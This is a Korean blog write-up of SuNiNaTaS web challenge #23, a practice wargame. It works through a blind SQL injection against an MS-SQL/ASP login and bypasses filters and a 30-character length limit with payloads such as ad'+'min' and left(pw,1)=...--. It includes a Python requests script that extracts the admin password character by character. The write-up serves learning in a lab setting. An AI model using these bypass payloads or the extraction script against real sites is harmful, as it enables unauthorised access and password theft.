wargame/Suninatas

써니나타스 #23번 풀이

R3Dzone 2020. 8. 4. 02:01
반응형

허허 22번 반복인데 이번엔 admin이 막혔네....

substring이야 22번이랑 반대로 원래하던데로 아스키 레프트 라이트 조합으로 하면 되는데...

이거 필터링 순서가 반대아닌가???

어떻게 admin을 우회할까...

아 or 필터링 안걸어 놨네 개꿀띠

or 랑 like 조합으로 와일드 카드 쓰면 될듯 ㅋㄷㅋ

근데 진짜 문제 순서가 이상한거 같은데 ㅡ.ㅡ;;

ㅡ.ㅡ like 필터링 되네... 어쩐지 너무 쉽게 풀린다 했네

문자열을 더해주는 concat함수를 써보자

aaa' or id = 'guest' -- 얘까지 되고

reverse,replace를 해보자 안되네... 뭐징

함수들이 다 실행할 인자를 주면 no hack이 뜨네;;;;

------------------------------------------------------------------------

허허 결국 다른 풀이 살짝 보니 MS-SQL에는 concat이 안쓰이고 +로 문자열 붙일 수 있었음

이래서 여러 언어를 익혀야 하는듯...

shit;;; ascii도 필터링이네;;;

허허 결국 또 다른 풀이 보니 30글자 제한도 있다.

글자 수 제한은 생각을 못했네~

와 이거 글자 수 제한 보고 금방 풀겠다 했는데 아무리 줄여도

ad'+'min'and left(pw,1)=' '--

로 딱 30글자로 맨 앞 한 글자 밖에 파악하지 못한다...

더보기

결국 다시 한번 구글링을 통해 풀이를 본 결과...

앞에 id로 admin주는 부분을 없애고 or로 뒤조건에서 admin의 비밀번호 첫글자를 일치시켜서 조건을 만족시켜서 admin의 비밀번호를 어느정도 여유갖고 파악하는 듯...

이 뭐 병
' or left(pw,1)=''--

 이 쿼리가 20글자니까 뒤에 글자들어올거 생각해서 9글자 까지 획득가능하다.

pw길이가 12글자인건 22번 풀이 코드 재탕해도 얻을 수 있었으니까 대충 3글자 부족한데

이건 right로 뒤부터 따오면 된다. 

솔직히 이 뭐 병인 풀이법이다. 하나라도 V로 시작하는 다른 비밀번호가 admin보다 먼저 생성되있으면 못푸는...

암튼 코드화 하면

import requests
 
url = 'http://suninatas.com/challenge/web23/web23.asp'

#stage 0: pw len
for i in range(0,100):
    payload  = "ad'+'min' and "
    payload += "len(pw) = '" + str(i) +"'" 
    payload += "--"
    
    data = {"id" : payload , "pw" : "r3dzone"}
    res = requests.get(url=url, data=data)
    print i
    if("OK" in res.text):
        print "OK pw length leaked, pw len is " + str(i)
        print payload
        PwLen = i
        break

pw = ""

#stage 1-0: first chr
for cursor in range(1,2):
    for i in range(0,127): #ascii range
        payload  = "ad'+'min'and "
        payload += "left(pw,1)='"+chr(i)+"'--"
        data = {"id" : payload , "pw" : "r3dzone"}
        res = requests.get(url=url, data=data)
        print payload
        #print res.text
        if("OK" in res.text):
            pw += chr(i)
            print pw
            print "OK BSQLi Success"
            break
            
print pw

pw2 = ""

#stage 1-1: last chr
for cursor in range(1,2):
    for i in range(0,127): #ascii range
        payload  = "ad'+'min'and "
        payload += "right(pw,1)='"+chr(i)+"'--"
        data = {"id" : payload , "pw" : "r3dzone"}
        res = requests.get(url=url, data=data)
        print payload
        #print res.text
        if("OK" in res.text):
            pw2 += chr(i)
            print pw2
            print "OK BSQLi Success"
            break
            
print pw2


#stage 2-0: %
for cursor in range(2,10):
    for i in range(0,127): #ascii range
        payload  = "' or "
        payload += "left(pw,"+str(cursor)+")='"+pw+chr(i)+"'--"
        data = {"id" : payload , "pw" : "r3dzone"}
        res = requests.get(url=url, data=data)
        print payload
        #print res.text
        if("OK" in res.text):
            pw += chr(i)
            print pw
            print "OK BSQLi Success"
            break
            
print pw

#stage 2-1: %
for cursor in range(2,4):
    for i in range(0,127): #ascii range
        payload  = "' or "
        payload += "right(pw,"+str(cursor)+")='"+chr(i)+pw2+"'--"
        data = {"id" : payload , "pw" : "r3dzone"}
        res = requests.get(url=url, data=data)
        print payload
        #print res.text
        if("OK" in res.text):
            pw2 = chr(i) + pw2
            print pw2
            print "OK BSQLi Success"
            break
            
print pw+pw2

어라 비밀번호를 얻었는데 인증이 안되네?

그럼 뭐다 대소문자 구분이 안되서 그렇다~

아스키코드값으로 비교해야한다... 다시짜자 차피 귀찮아서 저렇게 짰는데 생각해보면 원래하던대로 right(left(pw,1),1) 해도 딱 30글자 나온다... 진짜 치밀하게 짜놨다.

잠깐 귀찮다고 어림짐작으로 짜서 괜히 시간만 더 버렸다 ㅠㅠ

어라 생각해보니까 패스워드 10글자 이후로는 31글자로 초과에 차피 ascii가 막혀있네???

결국 다시 풀이 보고 소문자로 하니까 인증됨...

이건 real-world에서는 DB양이 방대하고 겹치는 비밀번호가 있기때문에 쓸 수 없어서 생각을 못했다...

뭐 따지고보면 평문으로 비밀번호가 저장돼있을리 없으니까 애초에 CTF푸는 감각으로 풀었어야 했다...

뭔가 아쉬운 풀이 다른 우회법 있나도 잘 생각해봐야겠다.

 이 문제는 솔직히 마음에 안든다 풀이법 참조한데다가 그렇게 푼 풀이도 이상;;;

이걸로 써니나타스 웹부분은 다 했다.

마지막 23번이 아쉬워서 그렇지 문제자체는 평소 안쓰던 MS-SQL+ASP 조합이라 여러가지 배운듯 하다.

이제는 다시 원래 파던 분야인 리버싱이나 풀어 볼까?